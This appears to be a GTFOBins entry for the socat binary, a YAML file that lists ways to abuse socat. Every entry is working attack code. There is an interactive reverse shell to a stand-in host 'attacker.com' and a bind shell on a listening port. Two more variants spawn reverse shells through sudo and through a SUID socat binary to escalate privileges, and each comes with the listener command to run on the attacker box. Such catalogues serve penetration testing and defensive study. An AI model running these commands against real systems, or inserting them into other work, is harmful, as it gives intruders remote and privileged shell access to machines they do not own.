GTFOBins.github.io/_gtfobins/socat.md

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functions:
  reverse-shell-interactive:
    - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
      code: |
        RHOST=attacker.com
        RPORT=12345
        socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
  bind-shell-interactive:
    - description: Run ``socat FILE:`tty`,raw,echo=0 TCP:target.com:12345`` on the attacker box to connect to the shell.
      code: |
        LPORT=12345
        socat TCP-LISTEN:$LPORT,reuseaddr,fork EXEC:sh,pty,stderr,setsid,sigint,sane
  sudo-enabled:
    - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
      code: |
        RHOST=attacker.com
        RPORT=12345
        sudo -E socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
  suid-limited:
    - description: Run ``socat file:`tty`,raw,echo=0 tcp-listen:12345`` on the attacker box to receive the shell.
      code: |
        RHOST=attacker.com
        RPORT=12345
        ./socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane
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